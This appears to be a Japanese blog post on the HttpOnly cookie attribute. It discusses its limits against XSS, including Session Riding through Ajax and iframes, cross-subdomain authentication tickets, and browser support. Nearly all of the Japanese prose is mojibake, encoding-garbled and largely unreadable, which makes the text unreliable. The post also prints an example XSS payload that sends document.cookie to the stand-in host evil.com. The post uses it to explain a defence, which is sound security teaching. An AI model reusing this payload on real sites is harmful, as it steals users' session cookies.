Firefox2ã§ãhttponlyã使ããã¨ãã話ãè³ã«ãã¾ããã
httponlyãããããæ®åãããï¼ ã¨ããã®ã§ãã¿ã«ãã¦ã¿ã¾ãã
ãªãããã®æ¥è¨ã¯ãWinXPï¼IE6SP2ç°å¢ãåæã¨ãã¦æ¸ãã¾ããã
ã¯ããã«
httponlyã¯ãXSSèå¼±æ§ãããç¶æ³ã«ããã¦ããcookieãçªåãããªãããã«ãããã¨ãçã£ãIEã®ç¬èªæ©è½ã§ãã
MSDN - Mitigating Cross-site Scripting With HTTP-only Cookies
ãã®æ©è½ãæå¹ã«ããããã«ã¯ãçºè¡ããcookieã«httponlyå±æ§ãä»ãã¾ãã
Set-Cookie: key=value; domain=example.com; HttpOnly
httponlyå±æ§ãä»ããããcookieã¯ãJavaScriptã®document.cookieã§æ¾ããªããªãã¾ãããã®ãããXSSã§ä»¥ä¸ã®ãããªJavaScriptã³ã¼ããæ¿å ¥ããã¦ãã奪ããããã¨ã¯ããã¾ããã
document.write('<img src="http://evil.com/?c=' +escape(document.cookie) +'">');
httponlyã®åé¡ç¹
MSDNãITProの記事ã«ãæ¸ãã¦ãã¾ãããhttponlyãcookieã«ä»ãã¦ããã°ãXSS対çãããªãã¦ããã®ãã¨ããã¨ãããã§ã¯ããã¾ãããhttponlyã®åé¡ãããã¤ãæãã¾ãã
- XSSã¯æ§ã
ãªç®çã§æªç¨ããã
ãã¼ã¸ã®æ¹ç«ï¼ãã£ãã·ã³ã°å©ç¨ï¼ããã¼ãã¹ãã£ã³ãªã©ã®ã¤ã³ãã©ããã¯ãä»ãµã¤ãã¸ã®CSRFæ»æã®è¸ã¿å°å©ç¨ãªã©ãXSSã¯æ§ã ãªæ»æã«å©ç¨ããã¾ããhttponlyã¯cookieçªåé²æ¢ä»¥å¤ã«ã¯ç¡åã§ãã - ãµãã¼ããããã©ã¦ã¶ãéããã¦ãã
ä»ã®ã¨ãããæ¨æºã§httponlyããµãã¼ãããã¡ã¸ã£ã¼ãã©ã¦ã¶ã¯ãIE6SP1以ä¸ã®ã¿ã§ã*2ãã¾ããä¸é¨ã®ãã©ã¦ã¶ã«httponlyãä»ããcookieãéãã¨ããã¼ã¸ãæ£å¸¸ã«è¡¨ç¤ºãããªãåé¡ãçºçããããã§ã*3ã - ä»ã®èå¼±æ§ã¨ã®çµåãã«ããcookieãçªåããã
XSTãHTTP Response Smugglingãªã©ã®èå¼±æ§ãããã¨ãAjaxã³ã¼ããæ¿å ¥ãããã¨ã§ãhttponlyãªcookieãçªåã§ãã¾ã*4ã - ãSession Ridingããé²ããªã
å¤ãã®å ´åãXSSæ»æè ã¯ãcookieèªä½ãçªåã§ããªãã¦ããcookieãçªåããã®ã¨ã»ã¼åæ§ã®ãã¨ãå®è¡ã§ãã¾ãããããããSession Ridingãã§ãï¼è©³ç´°ã¯å¾è¿°ãã¾ãï¼ã
1ã¯ãhttponlyã®ç®çã¨ã¯ç¡é¢ä¿ãªè©±ãªã®ã§ããã®æ¥è¨ã§ã¯æ±ãã¾ããã
2ã¯ãhttponlyããµãã¼ããã¦ããªããã©ã¦ã¶ãããããã¨ãã£ã¦ãæå³ãç¡ã訳ã§ã¯ããã¾ãããã¾ããä»å¾æ®åããããªå ããããã¾ãã
3ã¯ããã®æ¥è¨ã§ã¯ãXSSèå¼±æ§ã®ã¿ãåå¨ããåæã§èãã¾ãï¼httponlyãXSSã®åå¨ãåæã¨ãã¦ããããã§ãï¼ã
4ã®Session Ridingã«ã¤ãã¦ã¯ã以ä¸ã«è¨è¿°ãã¾ãã
XSSã«ãããSession Ridingã*5
ä¸å®ã®ã¯ã©ã¤ã¢ã³ãã»ãµã¼ãç°å¢ã®ä¸ã§ã¯ãhttponlyã®cookieã¯ãXSSã§çªåããã¾ããï¼çªåãããªãã¹ãã§ãï¼ãããããæ大ã®åé¡ã¯ããã®httponlyã®æ©è½ããSession Ridingæ»æã®åã§ã¯æå³ããªããªãã±ã¼ã¹ãå¤ãã¨ãããã¨ã§ãã
ä¾ãã°ãæ»æè ã¯ãXSSèå¼±æ§ããããã¼ã¸ã«Ajaxããã°ã©ã ãåãè¾¼ã¿ã¾ããAjaxã®ãªã¯ã¨ã¹ãã§ã¯ãhttponlyãªcookieãå«ãcookieãèªåçã«ãµã¼ãã«éããã¾ããã¤ã¾ããAjaxã使ãã¨ãæ»æè ã¯cookieãå¾ããã¨ãªããcookieã«ããã¢ã¯ã»ã¹å¶éãæãããããã¼ã¸ã®å 容ãåå¾ã§ãã¾ããæ å ±å¤æ´ã®ãã¼ã¸ã§ãåãã§ãããã®ç¶æ³ã§ã¯ãã¯ã³ã¿ã¤ã ãã¼ã¯ã³ã«ããCSRF対çã¯æå³ãããã¾ããã
iframeãå¥ã¦ã£ã³ãã¦ã§ãåããã¨ãã§ãã¾ããJavaScriptã使ãã°ãiframeãå¥ã¦ã£ã³ãã¦ãä½æãããã®ä¸ã«ãã¼ã¸ãGETãPOSTã§ãã¼ãããDOMã«Read/Writeã¢ã¯ã»ã¹ãããã¨ãã§ãã¾ãããã®æ¹æ³ã§ã¯ããªãã¡ã©ã«ããCSRF対çãããããããã¨ãã§ããã¨ãããã¾ããããã¾ãã
ã¤ã¾ããhttponlyã§cookieèªä½ã®çªåã¯é²ãã¾ãããæ»æè ãç®çã¨ããã§ããããã¨ï¼æ å ±ã®çªåã»æ¹ç«ï¼ãé²ããªãå ´åãããã¾ãã
ããã§ãhttponlyã使ãçç±
Session Ridingã¯ãç¹ã«æ»æ対象ã®ãã¼ã¿ãæ確ã§ãªãå ´åãæéãæããã¾ããhttponlyã使ãç®çã®ä¸ã¤ã¯ãåç´ã«æ»æã®æéãå¢ãããã¨ã§ãã
ä»ã«ãhttponlyã使ãã¹ãæãããã¾ããããã¯ãSession Ridingã«ãã被害ããcookieçªåã®è¢«å®³ãããæããã«å°ããã¨ãã§ãã
å¤ããããã®ã¯ã以ä¸ã®ãããªç¶æ³ã§ãã
ãµããã¡ã¤ã³ãåã£ã¦ããå ´å
- ãããµã¤ãã®ä¸ã«ãã¹ã±ã¸ã¥ã¼ã©ã¨Webã¡ã¼ã«ã®æ©è½ããã
- ã¹ã±ã¸ã¥ã¼ã©ã®ãã¡ã¤ã³ã¯ schedule.example.com
- Webã¡ã¼ã«ã®ãã¡ã¤ã³ã¯ webmail.example.com
- ãã°ã¤ã³ç¶æ èå¥ç¨ã®cookieï¼èªè¨¼ãã±ããï¼ã¯ .example.com ãã¡ã¤ã³ã«çºè¡ããã¦ãã
httponlyå±æ§ãä»ããªãã¨ããããã¹ã±ã¸ã¥ã¼ã©ã®XSSèå¼±æ§ã«ãã£ã¦ãèªè¨¼ãã±ããã奪ããã¾ãããã®è¢«å®³ã¯ã¹ã±ã¸ã¥ã¼ã©ã«çã¾ãããåãèªè¨¼ãã±ããã使ã£ã¦ããWebã¡ã¼ã«ã«ãæ³¢åãã¾ãï¼ã¡ã¼ã«ãçã¿è¦ããããªã©ï¼ã
httponlyãªèªè¨¼ãã±ããã«ããã°ãèªè¨¼ãã±ããã¯å¥ªããã¾ãããåè¿°ã®Session Ridingã¯å¯è½ã§ãããAjaxãDOMã¢ã¯ã»ã¹ã§ã¯å¼·ãSame Originå¶ç´ãåãããã被害ã¯ã¹ã±ã¸ã¥ã¼ã©æ©è½å ã«éå®ããã¾ã*6ã
AjaxãDOMã¢ã¯ã»ã¹ã¯ããã¡ã¤ã³ããããã³ã«ï¼HTTP/HTTPSï¼ãåä¸ã®ãã¼ã¸ã«éããã¦ãã¾ãããµããã¡ã¤ã³ã ããéãå ´åãã¢ã¯ã»ã¹ã§ãã¾ããã
ã¾ã¨ã
httponlyã使ç¨ããæ¡ä»¶
- ã¯ã©ã¤ã¢ã³ãæ¡ä»¶
IE6SP1/Firefox2以ä¸ããã以å¤ã®ã¯ã©ã¤ã¢ã³ãã§ã¯ãåä½ç°å¸¸ãå¼ãèµ·ããå¯è½æ§ããããããhttponlyã«ããªãã - ãµã¼ãæ¡ä»¶
TRACEãç¡å¹ã«ãããªã©ãä¸è¬çãªã»ãã¥ãªãã£å¯¾çãããã¦ããªãã¨ç¡æå³ã
httponlyã®å¹æ
- åç´ãªcookieçªåã¿ã¤ãã®æ»æãé¿ãã
ææ¢åã¨ãã¦ã®å¹æã - è¤æ°ãµããã¡ã¤ã³ã®ãµã¤ãã®å ´å
XSSã®å½±é¿ãå¥ãã¡ã¤ã³ã»ãããã³ã«ã®æ©è½ã«æ³¢åããªããªãã
httponlyã使ãã¨è¯ããããªã®ã¯ãå¤ããããã大è¦æ¨¡ãµã¤ãã§ãã
- å¾ä»ãã®XSS対çããã¦ããã¬ã¬ã·ã¼ãªCGIãå¤ãæã¡ãXSSãªã¹ã¯ãé«ãã
- ãµããã¡ã¤ã³ã§åããããå¤ãã®æ©è½ããå°æ°ã®èªè¨¼ãã±ããã§SSOãã¦ããã
ã¨ãããããªç¹å¾´ãæã¤ãµã¤ããæ¯è¼çå¤ãã¨èããããããã§ãã
ä¸è¨ã«å½ã¦ã¯ã¾ããªããµã¤ãã§ã¯ãhttponlyã®ã¡ãªããã¯æ®ã©ç¡ãã§ãããã
ã©ã¡ãã«ãããMSèªèº«ãèªãã¦ããããã«ãããã¾ã§è£å©çãªå¯¾çã«éããªãã¨ãããã¨ã¯è¨ãã¾ãã
ãã®ä»
æå¾ã«ããã©ã¦ã¶å´ã§ã§ããããã£ã¨å¹æçãªXSS対çã¯ç¡ãã®ã ãããã¨ãã話ããä¾ãã°ãGerv - Content Restrictionsã§ã¯ãããã®ãã¼ã¸ã§ã¯ã¹ã¯ãªããç¦æ¢ããå¤é¨JSãã¡ã¤ã«ã®ã¿è¨±å¯ãã®ãããªãªãã·ã§ã³ããã¬ã¹ãã³ã¹å ã«æå®ããä»çµã¿ãªã©ãææ¡ããã¦ãã¾ããWeb APéçºè è¦ç¹ã§ããã£ãããããªãã¨ããã¬ãã«ã§æ¸ããã¦ããããã«æãã¾ããããç§ããã£ãããããªã¨æãã¾ããå®ç¾æ§ã¯ã©ããªãã§ãããï¼ï¼ï¼
*1:ã12/28追è¨ãFirefoxã®ã¢ããªã³ã§ããã¬ã¹ãã³ã¹åä¿¡æã«ã¯ãhttponlyå±æ§ãä»ãã¦ããcookieãæå·åãã¾ãããªã¯ã¨ã¹ãéä¿¡æã«ã¯ãããã復å·åãã¾ããã¤ã¾ããdocument.cookieã§å¤ãåç §ã§ããªãããã®ã§ã¯ãªããJavaScriptããã¯æå·åãããå¤ããåç §ã§ããªãããã«ãã¾ããããæå³ã¢ãããã¯ãªæ¹æ³ãªã®ã§ãåé¡ãããããã§ãã詳細ã¯ãPHP Security Blog - HttpOnly Cookies in Firefox 2.0ãåç §ãã¦ä¸ããã
*2:ã12/28追è¨ãLinuxã®Konquerorã¨ãããã©ã¦ã¶ã§ãhttponlyã«å¯¾å¿ãã¦ããããã§ãï¼éåºããããé ããæ å ±ï¼ã
*3:The Web Security Mailing Listへの投稿(2006/08/08)ãããããã«ã¯ãhttponlyã®cookieã«ããåä½ç°å¸¸ãããããã©ã¦ã¶ã¨ãã¦ãMac IE5ã¨WebTVãæãããã¦ãã¾ãã
*4:The Web Security Mailing Listへの投稿(2006/05/03)ããã
*5:ç§ã®æè¦ã§ãSession Ridingãã¨å¼ãã§ãã¾ããããã®è¨èã¯CSRFã®æèã§ä½¿ãããäºãå¤ãã®ã§ãå°ãªãã¨ãä¸è¬çãªä½¿ãæ¹ã§ã¯ããã¾ããã
*6:ãµããã¡ã¤ã³ã§ã®httponlyã®æå¹æ§ã¯ãbugzilla ID 178993 #47ã§ãææããã¦ãã¾ãã